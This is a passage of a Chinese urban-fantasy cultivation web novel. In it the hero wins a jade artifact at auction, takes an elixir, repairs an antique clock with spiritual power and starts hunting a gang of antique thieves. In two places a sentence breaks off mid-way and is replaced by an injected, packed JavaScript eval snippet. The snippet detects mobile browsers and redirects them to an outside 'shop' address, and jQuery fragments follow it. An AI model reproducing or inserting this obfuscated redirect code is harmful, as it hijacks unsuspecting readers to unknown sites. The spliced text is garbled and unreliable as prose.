苏明一边漫不经心地听着,一边悄然观察着在场的其他人。他用“灵目术”配合凌虚子微弱的神识扫描,感知着大厅内的气息波动。大部分人都是普通富商或收藏家,气息平常。但有几个,引起了苏明的注意。 一个是坐在前排左侧、穿着黑色唐装、手里盘着铁核桃的干瘦老者,身上有极淡的、类似武者内劲的波动,目光偶尔扫过图录上的玉琮图片,眼神锐利。 另一个是坐在右侧角落、戴着无框眼镜、看起来像学者模样的中年男人,气息很平和,但在拍卖师提到一件清代道教法剑时,苏明察觉到他身上有一丝极其微弱的灵力波动,一闪而逝。此人恐怕是修士,或者接触过修行。 还有一个,是坐在苏明斜前方、一直低着头玩手机、穿着时髦的年轻女孩。她看起来漫不经心,但苏明注意到,她的手指在手机屏幕上划动的节奏,似乎带着某种奇特的韵律,而且她的呼吸极其悠长平稳,远超常人。这也绝非普通人。 “L-15号拍品,明代黄花梨嵌百宝梳妆盒,起拍价十二万……” “L-16号拍品,清代铜胎掐丝珐琅仙鹤香薰,起拍价十八万……” 终于,轮到了“L-17”。 “各位来宾,接下来是第17号拍品,”拍卖师的声音微微提高了一些,“一件战国风格的玉琮。外方内圆,高15.2厘米,表面有典型的云雷纹,以及浓郁的红斑沁色。来源清晰,传承有序。起拍价,三十万元。每次加价不低于一万元。” 拍卖师简单介绍,没有过多渲染。显然,这件“血沁”过于浓重、品相不算顶级的玉琮,在今晚的拍品中并不算特别出彩。起拍价三十万,也不算高。 “三十一万。”前排左侧那个盘铁核桃的干瘦老者第一个举牌。 “三十二万。”右侧角落那个学者模样的中年男人平静地加价。 “三十五万。”苏明按照计划,第一次举牌,声音平淡。 竞价不温不火地继续。干瘦老者和学者男人似乎都对这件玉琮有些兴趣,交替加价。时髦女孩一直没动静。苏明也偶尔跟一手,将价格缓慢推高。 当价格来到四十八万时,干瘦老者犹豫了一下,摇了摇头,放弃了。只剩下学者男人和苏明。 “四十八万,第一次。”拍卖师看向学者男人。 学者男人推了推眼镜,没有立刻加价,而是抬头,目光似乎不经意地扫过苏明这边。 苏明坦然与他对视,面无表情。 “四十八万,第二次。” “五十万。”学者男人再次举牌,同时,苏明感觉到一股极其细微、但带着明显探查意味的神识,扫过自己身体。 苏明心中冷笑,立刻运转“敛息术”,将自身气息收敛到极致,同时体内灵力微微一动,模拟出一丝属于“苏墨”这个身份的、略带浮躁的富家子弟气息。 那神识在苏明身上停留片刻,似乎没发现什么异常,又收了回去。 “五十万,第一次。” “五十二万。”苏明再次举牌,语气故意带上一丝不耐和势在必得。 学者男人眉头微皱,看着苏明,似乎在权衡。这件玉琮的实际价值(在正常收藏家眼中)大概也就在四五十万,五十二万已经有些溢价了。 “五十二万,第一次。五十二万,第二次。”拍卖师语速放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356232|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓。 学者男人嘴唇微动,似乎想再举牌,但最终还是没有动作。 “五十二万,第三次!成交!恭喜这位先生!”拍卖槌落下。 苏明暗暗松了口气。任务第一步,完成。以五十二万的价格拍下,在二十万经费内,还略有超出,但应该不需要特别解释。 接下来的几件拍品,苏明没有再参与。他注意到,那个时髦女孩在拍卖一件清代西藏“嘎乌盒”(护身符盒)时,突然举牌,以高出起拍价数倍的价格将其拍下,动作干脆利落,拍下后便继续低头玩手机,仿佛刚才只是随手买了杯咖啡。 拍卖会结束。苏明在工作人员的引导下,办理交接手续。刷卡付了五十二万(用的李寰宇提供的、关联“苏墨”身份的账户),拿到了装在特制锦盒里的玉琮。 交接时,他感觉有几道目光落在自己身上。有那个学者男人的审视,有干瘦老者的一瞥,甚至那个时髦女孩也抬头看了他一眼,眼神中似乎带着一丝好奇,但很快又低下头去。 苏明不动声色,拿起锦盒,在侍者引领下,径直离开了别墅。 他没有立刻返回,而是在山庄内绕了一圈,确认无人跟踪后,才走到约定的上车点——一辆早已等候在那里的黑色轿车。 拉开车门,后座上坐着那个中年男人。 “东西。”男人言简意赅。 苏明将锦盒递过去。男人打开,快速检查了一下玉琮,尤其是底部的鬼首印记,点了点头,合上盖子。 “任务完成。经费使用四万(超出部分),合理。酬劳十万,稍后到账。这是李先生给你的。”男人又递过来一个小巧的白玉瓶,只有拇指大小。 苏明接过,入手温润,拔开瓶塞,一股清新却带着凛冽阳和之气的药香扑鼻而来。里面是三颗龙眼大小、赤红如血、表面有淡淡金纹的丹药。 “烈阳丹。可助你彻底拔除体内残余血煞,固本培元。每日一丸,温水送服。服药后静坐调息一个时辰。”男人交代道,“李先生让我转告你,做的不错。另外,小心那个戴眼镜的男人,他叫周明远,表面上是大学教授,实际上与‘影流会’有些不清不楚的联系。他今晚对你用了神识探查。” 周明远?苏明记下这个名字。果然,那个学者男人有问题。 “还有那个拍下嘎乌盒的女孩,”男人顿了顿,“她的来历,我们也没完全查清。只知道她叫‘阿九’,最近很活跃,似乎也在搜集一些与修行相关的老物件。尽量别与她产生冲突。” 阿九?苏明点点头。看来这个城市里,隐藏的“同行”还真不少。 “我知道了。多谢。” “回去吧。有新的任务,会再联系你。”男人示意司机开车。 车子将苏明送回了市区。他拿着那瓶珍贵的“烈阳丹”和十万到账的短信提示,心中微暖。李寰宇此人,虽然行事神秘,手段莫测,但至少在“合作”上,目前看来还算公平守信,该给的好处和保障一样不少。 回到出租屋,他立刻服下一颗“烈阳丹”。丹药入腹,顿时化作一股磅礴炽热、却中正平和的暖流,瞬间席卷全身!这股药力比赤血苓更加精纯、温和,且带着一种涤荡邪祟、固本清源的强大功效。 苏明不敢怠慢,立刻盘坐聚灵阵中,运转功法,引导药力。 这一次,没有赤血苓那种灼烧经脉的痛苦,只有暖洋洋的舒适感。药力所过之处,经脉中残留的那一丝丝阴寒血煞,如同冰雪消融,迅速被蒸发、净化。右臂伤口的最后一点隐痛也彻底消失,愈合速度明显加快。 一个时辰后,苏明缓缓收功,睁开双眼,精光内蕴。他感到全身说不出的舒畅,灵力运转圆融无碍,比受伤前更显凝练精纯。困扰他多日的血煞隐患,终于被彻底拔除! “烈阳丹,果然不凡。”凌虚子也赞叹道,“此丹炼制不易,需数种纯阳灵草,且对火候要求极高。那李寰宇能随手拿出三颗,其势力底蕴,可见一斑。” 苏明握了握拳,感受着体内充盈的力量。炼气四层中期的境界,似乎也向前迈进了一小步。 他看着桌上剩下的两颗烈阳丹,小心收好。这可是保命和修炼的好东西。 手机震动,又是同城速递的订单提示音。 苏明笑了笑,点开。现在,看这些特殊订单,感觉都不一样了。每一次敲门,可能都意味着一个新的故事,一场新的冒险,或者……一次新的“合作”机会。 他看向窗外。夜色中的城市,依旧灯火辉煌。而在这片繁华之下,光怪陆离的暗流,从未停止涌动。 而他,已经身处其中。 25. 新的委托 烈阳丹药力强劲,彻底拔除了血煞隐患,也让苏明的修为在炼气四层稳固下来。伤势痊愈,灵力充盈,状态前所未有的好。 他清点了一下目前资产:李寰宇的十万任务酬劳到账,加上之前剩余的,手头可用资金又回到五十万左右。更重要的是,得到了三颗珍贵的烈阳丹(已用一颗),以及李寰宇那边更进一步的信任和资源渠道。 “实力恢复,钱财不缺,是该主动些了。”苏明盘坐在聚灵阵中,思考着接下来的计划。被动地等待任务上门,终究不是长久之计。他想更快提升实力,了解更多关于“影流会”、“幽冥道”、黑水城的信息,也必须更主动地去接触这个世界的暗面。 他拿起李寰宇给的内部权限卡,在电脑上登录了那个简易查询系统。系统里除了资源清单,还有一个简单的任务发布平台,但上面的信息都很模糊,大多只有代号和简要要求,需要进一步联系才能获取详情。显然,这是面向内部“合作者”的渠道,门槛不低。 苏明浏览着那些代号任务:“‘清理’东区仓库异常鼠患(疑涉及低等妖化)”、“护送‘货物’前往南部边境(需跨境,有武装冲突风险)”、“调查西郊老宅‘鬼拍肩’事件(已有三名调查员失联)”…… 危险程度都不低,报酬也从几万到几十万不等。苏明没有立刻接取,他需要衡量自己的实力和任务的风险。现在的他,对付普通人和低阶武修没问题,但面对真正的修士、成规模的武装分子,或者未知的诡异事件,依然力有未逮。 “当务之急,是提升实战能力和应对非常规威胁的手段。”苏明心想。符箓只剩三张中品火煞符,需要补充。金光护身咒在突破后防御力有所提升,但消耗也更大。踏云步、涤尘术、灵目术、龟息术、敛息术这些辅助法术运用更熟练了,但缺乏一锤定音的攻击手段。 “仙尊,炼气四层,可以修炼更具威力的攻击法术了吗?”苏明问道。 “自然可以。”凌虚子回应,“《玄天吐纳真解》炼气篇中,有数种基础五行法术,你已掌握水行变种‘涤尘术’。如今你灵力精进,可尝试修习金行‘锋锐术’或火行‘炎弹术’。前者可短暂增强兵刃或指掌锋锐,后者可凝练火焰弹丸远程攻敌。两者皆需不菲灵力,且需勤加练习。” 攻击法术!苏明眼睛一亮。炎弹术听起来不错,中程攻击,配合身法,战术更灵活。 “学炎弹术!” “可。此法诀需……” 就在凌虚子准备传授法诀时,苏明的手机响了。不是通讯器,是那个同城速递APP。一个特殊的加急订单。 订单类型:紧急求助(特殊物品修复) 取件/服务地址:西城区老街,“天工坊”金属工艺修复工作室。 服务内容:求助人家中一件祖传的、带有复杂机械结构的铜制“自鸣鸟”座钟,因年代久远且受过剧烈震荡,内部数个关键齿轮和发条组件断裂、变形,常规修复手段无法处理。现寻求拥有特殊金属处理技艺或“微雕”绝活的大师,尝试修复。备注:座钟结构极其精密复杂,齿轮最小处不足一毫米,且部分零件为特殊合金,硬度高,韧性差,极难加工。曾请过数位高级钟表匠和微雕师,均告失败。如有能修复者,愿付重酬二十万,并可提供所需的一切特殊工具和材料。联系人:钟师傅(电话:139xxxx5678)。 特殊合金?微雕?苏明看着描述,心中一动。他想起凌虚子提过,修真界炼器术的基础之一便是“精微操控”和“材料处理”。修复这种精密机械,或许能锻炼他对灵力的精细控制,尤其是如果涉及到特殊材料的话。 而且,二十万的报酬,非常可观。 “仙尊,你觉得这单如何?” “精微操控乃修行之基,炼器、制符、布阵乃至炼丹,皆需此道。”凌虚子道,“修复凡俗精密机巧,虽是微末之技,然对你锻炼灵力如丝、掌控入微,颇有裨益。可接。若有特殊材料,或可辨认一二。” 苏明不再犹豫,点击接单,然后拨通了钟师傅的电话。 电话很快接通,那边传来一个焦急又疲惫的中年男声:“喂?哪位?” “钟师傅您好,我是迅风快递的苏明,看到您发布的订单,关于修复自鸣鸟座钟的。我对精密机械修复有些研究,想过来看看。” “苏师傅?太好了!您什么时候能过来?越快越好!这东西对我太重要了!”钟师傅语气急切。 约好半小时后见面,苏明换了身便于活动的衣服,带上必要的工具(主要是掩饰用的),又想了想,将那三张中品火煞符贴身收好,出门前往西城区老街。 “天工坊”位于老街深处,门面不大,挂着古旧的木质招牌。推门进去,里面堆满了各种金属加工设备、工具和半成品,空气里弥漫着金属和机油的味道。一个穿着沾满油污工作服、头发花白、双眼布满血丝的中年男人迎了上来,就是钟师傅。 “苏师傅?快请进,东西在里面。”钟师傅直接将苏明带到里间的工作台前。 工作台上,铺着柔软的防静电垫,上面放着一座约半米高、通体呈暗金色的华丽座钟。座钟造型是欧洲古典风格,顶部站着一只栩栩如生的铜制鸟儿(自鸣鸟),钟身雕刻繁复的花草纹饰,镶嵌着已经黯淡的水晶和彩石。透过钟壳的玻璃,能看到内部极其复杂、层层叠叠的齿轮、发条和连杆结构,但此刻,许多齿轮歪斜、断裂,几根关键的发条也扭曲变形,整个机芯一片狼藉。 “这就是那座‘自鸣鸟’。”钟师傅指着座钟,声音带着痛惜,“是我曾祖父当年从一位流亡的沙俄贵族手里收来的,据说是宫廷匠师的作品。它不仅能准确报时,每到整点,顶上的鸟儿还会扇动翅膀、转动头部,并发出悦耳的鸣叫。可十年前家里遭了贼,慌乱中这钟从高处摔落,就成了这样……” 他拿起一个放大镜,指着内部几处:“你看,最麻烦的是这三个主齿轮,材质特殊,不是普通黄铜,极其坚硬,但也很脆。断裂的茬口参差不齐,普通焊接根本不行,会改变金属性质,影响精度。还有这根主发条,是某种记忆合金,变形后无法恢复原状,定制替换件也达不到原来的弹性和寿命……” 苏明凑近仔细观察。在“灵目术”的加持下,他能看清那些细微的损伤。齿轮的断裂面光滑中带着细微的晶格碎裂痕迹,发条的变形也极不规则。正如钟师傅所说,常规修复手段很难完美复原。 他尝试将一丝极其微弱的灵力,缓缓探向其中一个断裂的齿轮,仔细感知其材质。 灵力接触金属的瞬间,苏明眉头一挑。这齿轮的材质,果然不一般!它并非纯粹的金属,内部似乎掺杂了极微量的、带有微弱灵气反应的物质,使得其硬度和耐磨性远超普通合金,但也导致了脆性。 “仙尊,这材质……” “嗯,掺了‘星纹钢’的粉末,虽然是极少量,且提炼粗糙,但确非凡物。星纹钢性坚而脆,擅导灵,多用于低阶法器核心构件或阵盘刻画。”凌虚子有些惊讶,“此界竟有人能将星纹钢粉末掺入凡铁,制成如此精巧机括?虽是大材小用,但工艺确实不俗。难怪凡俗手段难以修复。” 星纹钢?苏明想起之前在公司地下室那份研究笔记,就提到过“星纹钢”。难道这座钟的制作者,也接触过修真界的知识或材料? “修复此物,对你有两重好处。”凌虚子继续道,“其一,锻炼你对灵力的精微操控,需以灵力为‘刻刀’与‘焊枪’,重塑断裂齿轮的晶格结构,引导记忆合金恢复原状。其二,你可借机近距离接触、感知这掺了星纹钢的材质,对日后辨识、处理类似炼器材料有帮助。” 苏明心中有了底。他看向钟师傅:“钟师傅,修复的难点我大概清楚了。我需要用到一些特殊的‘冷焊’和‘微雕’手法,以及……一种特殊的‘活化剂’来帮助材料恢复。过程会很长,而且不能有任何人打扰。您能提供一间绝对安静、无尘的工作室吗?” 钟师傅见他说得专业,眼中燃起希望:“有!楼上有间我平时做最精细活的小工作室,隔音防尘都没问题!您需要什么工具和材料,尽管说!只要这世上有的,我想办法弄来!” 苏明报出了一系列工具的名称:高倍显微镜、超精密的微型夹具、几套不同形状的微型金刚石锉刀和钻头、纯度极高的惰性气体保护焊接设备、以及几种特殊的化学试剂(主要是为了配制“活化剂”打掩护)。钟师傅一一记下,工作室里大部分都有,没有的他立刻打电话让人送来。 工具备齐,苏明和钟师傅上了二楼的小工作室。房间不大,但整洁干净,有独立的空调和新风系统。苏明让钟师傅在外面等候,反锁了门。 他没有立刻动手,而是先盘膝坐下,调息片刻,将状态调整到最佳。然后,他拿起一个断裂的小齿轮,放在显微镜下,同时,将“灵目术”和神识感知催发到极致。 在他的“视野”中,齿轮的断裂面被放大到纤毫毕现,金属的晶格结构、星纹钢粉末的分布、应力集中区域……一切都清晰起来。 他先尝试用最细的金刚石锉刀,配合灵力加持,小心翼翼地打磨断裂面的毛刺和不规则凸起,使其尽可能平整。这是一个极其耗费心神和耐心的过程,灵力输出必须稳定、均匀、精细,稍有不慎就可能损坏齿轮本体。 足足花了一个小时,才处理好第一个齿轮的断口。苏明额头已见汗。 接下来是关键——将两个断面对接,然后“焊接”。他当然不会用真正的焊枪。按照凌虚子的指点,他需要将自身精纯的、带有一丝“庚金之气”的灵力,凝聚成比发丝还细的无数“灵丝”,深入金属晶格的缝隙,引导两侧的金属原子重新“生长”、“键合”在一起。同时,还要小心翼翼地处理那些星纹钢粉末,确保它们不会在过程中被破坏或移位。 这是一个比外科手术更精密的“灵气手术”。苏明全神贯注,呼吸都放到最缓,指尖稳定如磐石,引导着灵力灵丝,一点点地在微观层面“修复”着金属。 时间一点点流逝。第二个齿轮,第三个齿轮……当所有断裂齿轮修复完毕,重新组装回原位,并能顺畅啮合转动时,窗外天色已近黄昏。苏明浑身被汗水湿透,脸色发白,灵力消耗大半。 但他顾不上休息,又拿起了那根变形的主发条。记忆合金的恢复更麻烦,需要以温和的火行灵气,模拟出特定的温度场和应力场,引导合金内部的晶格结构缓慢“回忆”并恢复原状。这个过程对温度控制和灵力频率要求极高。 又过了两个小时,当苏明将最后一点扭曲彻底抚平,发条恢复成完美的螺旋状时,他几乎虚脱,一屁股坐在椅子上,大口喘息,体内灵力只剩一丝。 休息了半小时,他才强撑着,将修复好的机芯小心地组装回钟壳内,拧紧螺丝,合上后盖。 “咔哒。”一声轻响,座钟内部传来极其轻微、但异常悦耳的“沙沙”声,那是齿轮开始缓缓运转的声音。 苏明长舒一口气,扶着工作台站起来,打开了门。 门外,钟师傅正焦急地踱步,听到开门声,猛地转过身,紧张地看着苏明。 苏明侧开身,指了指工作台上那座焕然一新、静静矗立的“自鸣鸟”座钟。 钟师傅几步冲过去,颤抖着手,轻轻抚摸钟身,然后将耳朵贴上去仔细倾听。当听到那均匀、有力的“滴答”声,以及内部齿轮顺畅运转的细微声响时,他眼圈瞬间红了。 “成了……真的成了……”他喃喃道,猛地抬头看向苏明,激动得语无伦次,“苏师傅!不,苏大师!您真是神了!这……这简直跟新的一样!不,比新的还好!” 苏明疲惫地笑了笑:“钟师傅,试试自鸣功能?” 钟师傅连连点头,小心翼翼地旋紧发条,然后将时间调整到差一分钟到整点。 两人屏息等待。 “当——当——当——……” 座钟顶部的铜制鸟儿,忽然动了!它先是优雅地转动了一下脖颈,然后展开翅膀,轻轻扇动了几下,紧接着,一连串清脆悦耳、宛如真正夜莺歌唱的鸣叫声,从钟内传了出来!同时,钟摆规律摆动,时针分针精准走动。 整个自鸣过程持续了约十五秒,然后鸟儿缓缓收回翅膀,恢复静止,只有“滴答”声继续。 钟师傅已是老泪纵横,对着座钟又哭又笑,如同面对失而复得的至亲。 好半天,他才平复情绪,紧紧握住苏明的手:“苏大师,大恩不言谢!这二十万,我立刻转给您!另外,您以后有任何需要,只要我钟某人能办到,绝不推辞!” 报酬很快到账。苏明没有多留,婉拒了钟师傅的盛情挽留,拖着疲惫的身体离开“天工坊”。 走在华灯初上的老街,晚风一吹,苏明感觉精神恢复了些。虽然身体和灵力极度疲惫,但心中却有一种满足感和成就感。这次修复,不仅赚了二十万,更重要的是,他的灵力操控精度,尤其是对“细微”和“稳定”的把握,有了质的飞跃。凌虚子也称赞他“于此道颇有天赋,心性沉稳,假以时日,或可尝试基础炼器”。 回到家,他先服下一颗烈阳丹,恢复灵力,然后倒头就睡。 第二天,苏明醒来,神完气足。他感受了一下,灵力的操控确实更加得心应手,甚至尝试施展“涤尘术”时,清洁范围和效率都有所提升。这让他对学习“炎弹术”更有信心了。 就在他准备继续修炼时,通讯器响了。 是李寰宇那边的中年男人:“苏先生,有个新任务,时间比较紧。城北‘锦绣山庄’别墅区,昨晚发生一起离奇失踪案,失踪者是一位退休的老收藏家,姓赵。现场没有任何强行闯入痕迹,但赵老收藏的几件特殊物品也不见了。警方已介入,但李先生觉得可能涉及‘非常规’因素。你的任务是,以‘特殊物品调查员’的身份,进入现场,评估是否有超自然迹象,并尽可能找出失踪者和失窃物品的线索。任务酬劳十五万。相关资料已发。” 又是失踪案?涉及老收藏家?特殊物品? 苏明立刻登录邮箱查看资料。失踪的赵老,退休前是博物馆研究员,专攻古代民俗和宗教器物,私下也收藏了不少稀奇古怪的东西。昨晚家人发现他不在卧室,电话不通,调取监控发现他深夜独自进入地下室收藏间后,就再没出来。家人进入收藏间,发现人不见了,几个上了锁的柜子被打开,里面几件东西不翼而飞,包括一块据说有镇宅功能的古玉璧、一面造型诡异的铜镜、还有一卷非纸非帛的古老卷轴。 警方初步勘察,没有发现外人进入痕迹,地下室的通风管道和下水道也检查过,无异常。赵老就像凭空蒸发了一样。而丢失的那几件东西,在家人提供的清单上,备注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356233|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都带着“据说有古怪”、“老人很看重”之类的描述。 “仙尊,你怎么看?” “凭空消失,非寻常手段所能为。现场若无强力阵法残留或空间波动,则可能是幻术、遁术,或某种摄取生灵的邪法。”凌虚子道,“那几件失窃之物,既被特意挑走,恐也非凡品。此任务,或有风险。” 苏明看着资料里那几件失窃物品模糊的照片。古玉璧看起来平平无奇;铜镜造型古朴,背面似乎有八卦纹;而那卷非纸非帛的卷轴,颜色暗沉,什么都看不清。 “接吗?” “可接。此乃历练,亦可接触此界非常规事件处理流程。但需万分小心,若察觉不可抗之力,当即刻退走,不可逞强。” 苏明回复通讯器:“任务接受。以‘特殊物品调查员’身份介入。需要警方现场勘察的详细报告和失窃物品的高清照片(如有)。另外,我需要一个合理的、能进入现场的身份。” “身份已安排好,你是赵老儿子赵先生从外地请来的‘民俗与神秘学顾问’,协助调查。现场报告和照片会发给你。一小时后,赵先生会在锦绣山庄门口接你。” 苏明放下通讯器,快速准备。检查了一下火煞符,又带上星髓。然后换上稍显正式、符合“顾问”身份的休闲西装。 一小时后,锦绣山庄门口,一个神情憔悴、眼带血丝的中年男人(赵先生)接到了苏明。简单寒暄后,赵先生便迫不及待地带着苏明前往出事的别墅。 “苏顾问,我父亲他……会不会已经……”赵先生声音哽咽。 “赵先生,先别急。我需要看看现场才能判断。”苏明安慰道。 来到别墅,警方已经结束了初步勘察,拉了警戒线,但允许家属和“顾问”在陪同下进入。苏明在赵先生和一名留守警员的陪同下,走进别墅,径直来到地下室。 地下收藏间大约三十平米,布置得像个小博物馆,靠墙是带玻璃门的展柜和带锁的储物柜。此刻,几个柜门敞开着,里面空了一部分。 苏明没有立刻去看那些空柜子,而是先站在门口,闭上眼,全力运转“灵目术”和神识,配合凌虚子的感知,仔细扫描整个房间。 空气中,残留着极淡的、属于老人的气息,以及一些古物特有的陈旧味道。但在房间中央偏左的位置,苏明捕捉到了一丝极其微弱、几乎要消散的、不和谐的能量残留。 那是一种……粘稠、冰冷、带着淡淡腥气的能量波动,像是某种生物或法术留下的痕迹。而且,这股能量波动的源头,似乎指向其中一个空了的柜子——正是存放那面诡异铜镜的柜子! “有发现?”凌虚子声音凝重。 “嗯,很淡,很古怪的能量残留,偏向阴冷污秽,和那铜镜有关。”苏明在心中回应。 他睁开眼,走到那个柜子前,仔细观察。柜子内部很干净,没有挣扎痕迹,没有指纹,只有一点点极细微的、暗绿色的、像是苔藓或霉菌的痕迹,附着在柜子底板角落,不注意看根本发现不了。 “赵先生,这个柜子原来放的是什么?”苏明指着暗绿色痕迹问。 “是那面铜镜,背面有八卦纹的那面。”赵先生连忙道,“我父亲说是从一个古河道里捞出来的,有点邪性,平时都锁着。” 苏明蹲下身,凑近那暗绿色痕迹,没有用手去碰,而是再次凝聚神识仔细感知。这一次,他“看”得更清楚了。那痕迹并非普通霉菌,其中蕴含着极其微弱的、与刚才感知到的阴冷能量同源的活性!这痕迹,仿佛是某种“分泌物”或者“孢子”! 而且,在痕迹旁边,柜子底板的木质纹理,似乎有极其轻微的被腐蚀的迹象。 “这东西……恐怕是活的,或者曾经是某种活物的载体。”苏明心中有了猜测。他不动声色,拿出随身带的取证袋和镊子(提前准备的),小心地将那一点点暗绿色痕迹刮取下来,装入袋中封好。 “苏顾问,这是……”旁边的警员疑惑地问。 “一点可能的生物检材,需要带回去化验。”苏明随口解释,然后继续检查房间其他地方。 在房间中央,老人气息最后停留的位置附近,苏明又发现了极其微弱的空间扰动感,就像平静的水面被投入一颗小石子后的涟漪,但几乎已经平息。这印证了凌虚子关于“遁术”或“空间摄取”的猜测。 最后,他来到存放那卷非纸非帛卷轴的空柜子前。这个柜子内部什么都没有留下,能量残留也几乎没有。但苏明注意到,柜子内壁靠近锁孔的位置,似乎有一个极其淡的、用某种特殊油脂或颜料画下的符号,形状像一个扭曲的眼睛,此刻已经快看不清了。 “这是……”苏明心中一凛。这个符号,他似乎在李寰宇给的、关于“影流会”的部分资料里瞥见过一眼,是某个分支或外围组织的标记? 难道这次失踪和失窃,也和“影流会”有关?他们盯上了赵老的收藏? 苏明用手机拍下那个模糊的符号,然后退出了收藏间。 “苏顾问,有……有什么发现吗?”赵先生急切地问。 “有一些线索,但还需要进一步分析。”苏明没有把话说满,“赵老平时有没有什么特别的习惯?或者,最近有没有接触什么奇怪的人,或者收到什么特别的东西?” 赵先生回忆道:“我父亲退休后深居简出,就喜欢摆弄这些老物件。最近……好像没接触什么生人。哦对了,大概半个月前,他好像去参加了一个小型的私人交流会,回来之后兴奋了好几天,说见到了几件‘了不得’的东西,但具体是什么没说。” 私人交流会?苏明立刻想到了之前拍卖会。难道赵老也在那个圈子里? “那个交流会,您知道在哪里举办,有哪些人参加吗?” 赵先生摇头:“我父亲从来不跟我说这些,说那是他们圈子里的事,外人知道了不好。” 线索似乎又断了。但苏明基本可以确定,赵老的失踪和失窃,绝非普通案件。涉及未知的活性残留物、空间扰动、以及可能存在的“影流会”标记,这背后一定有修行者或超自然力量介入。 “赵先生,我需要带走这个生物检材回去化验。另外,您父亲收藏的其他物品,特别是那些他觉得‘有古怪’的,最好能列个清单给我。还有,如果想起任何关于那个交流会,或者您父亲最近反常的细节,请随时联系我。”苏明交代道。 离开锦绣山庄,苏明没有回家,而是直接联系了李寰宇那边,汇报了初步发现,并询问那个扭曲眼睛符号的含义。 很快,回复来了:“符号确认,是‘影流会’下属‘盗影’小组的标记。该小组擅长潜入、盗窃、处理与古物、遗迹相关的‘特殊物品’。赵老的失踪,大概率与他们有关。你的任务是追查‘盗影’小组的线索,找回失窃物品,并尽可能解救赵老(如果还活着)。危险等级上调。追加五万风险津贴。需要任何支援,可申请。” 果然是“影流会”!而且是一个专门处理“特殊物品”的小组。 苏明眼神转冷。看来,他和“影流会”的梁子,是越结越深了。 不过,这次是对方主动惹上门,还牵扯到无辜老人。于公于私,他都要管一管。 “影流会”,“盗影”小组,扭曲的眼睛符号…… 苏明握紧了拳头。新的狩猎,开始了。 26. 追猎“盗影” “影流会”,“盗影”小组。 苏明看着通讯器屏幕上的回复,眼神微冷。这个盘踞暗处的组织,从灵引符到天师法印,再到这次的赵老失踪案,屡屡出现在他面前,行事越来越肆无忌惮。 “仙尊,‘盗影’小组,听起来是专门干脏活的。”苏明在心中道。 “名如其行。此类专司盗窃、潜入、夺取特定目标的下层组织,在修真界亦不罕见,多为大势力之爪牙。”凌虚子声音沉稳,“你既已卷入,与其被动等待,不如主动出击,斩其一爪,亦可获其情报,了解此‘影流会’之虚实。” “正合我意。”苏明回复通讯器:“任务接受。追加风险津贴确认。我需要‘盗影’小组在本市的已知活动范围、成员特征、常用手法,以及近期可能的目标或巢穴信息。另外,申请两件防身法器或针对性符箓,用以应对可能遇到的‘非常规’陷阱或反击。” 要对付专门处理“特殊物品”的团队,对方很可能也配备了一些修真或类修真的手段,苏明不敢大意。 回复很快:“资料已加密发送。防身物品申请已批准,稍后送达。注意:对方可能擅长伪装、潜行、机关、毒物及低阶幻术。行动时务必谨慎,以探查和救援为优先,避免正面冲突。若确认赵老位置,可申请武力支援。” 苏明立刻查看资料。文件不长,但信息关键: “‘盗影’小组,已知活跃成员3-5人。首领代号‘鼹鼠’,男,年龄不详,擅长易容、开锁、机关破解,疑似修炼某种隐匿气息的偏门功法。成员‘变色龙’,性别不明,擅长伪装、情报搜集、毒物。成员‘穿山甲’,男,体格健壮,擅长暴力突破、正面搏杀,疑似修炼外门硬功。可能还有其他外围人员。活动范围:本市古玩市场、旧货区、私人收藏圈、地下拍卖会。常用手法:伪装成买家、维修工、物业人员接近目标,使用特制迷香、毒针、小型爆破装置,得手后迅速撤离,不留痕迹。疑似掌握部分低阶‘障眼法’、‘匿踪符’等非常规手段。” 资料还附上了几起未被警方归并、但特征相似的未解盗窃案,失窃物品都涉及“有古怪传闻”的古物。其中一起,就发生在上个月,城南一位老中医家中,一枚据说是“针灸铜人”上拆下的、带有奇异穴道标识的铜片失窃,现场留下淡淡的腥甜气味(疑似迷香),以及一个不完整的、类似兽爪的脚印。 “看来是个专业团队。”苏明记下特征。对方分工明确,手段专业,且有非常规能力,不好对付。 傍晚,一个密封的快递包裹送到了苏明住处。里面是两样东西:一张叠成三角状的暗黄色符纸,触手温热,上书“破妄”两个古篆;以及一个拇指大小、造型古朴的青铜铃铛,铃身刻满细密符文,轻轻摇晃,无声,但苏明能感觉到一股奇特的、安抚心神的波动。 附有说明:“‘破妄符’,激发后可暂时看破低阶幻术、障眼法及能量伪装,持续三十息。‘镇魂铃’,摇动可发出针对神魂的无声波动,干扰施法、破除低级迷魂效果,对阴魂类有额外克制。慎用,范围有限。” 好东西!苏明小心收好。这两样东西针对性很强,正好弥补他目前手段的不足。 他盘算着如何着手。从资料看,“盗影”小组的目标很明确:有特殊价值的古物。赵老藏品中的铜镜和卷轴被盯上,说明他们近期在搜集这类东西。要找到他们,要么从失窃物品流向入手(难度大),要么从他们可能的下一个目标入手。 苏明登录同城速递平台的后台,设置了一个新的关键词订阅:“古物修复”、“特殊物品鉴定”、“收藏品转让(急)”、“祖传老物件(有异)”。这类订单发布者,可能就是潜在的目标,或者能接触到相关信息。 同时,他给吴清风发了条加密信息,询问近期收藏圈内是否有类似赵老这样、持有“特殊物品”且可能被盯上的人。吴清风人脉广,或许有线索。 做完这些,苏明服下一颗烈阳丹,在聚灵阵中开始修炼“炎弹术”。 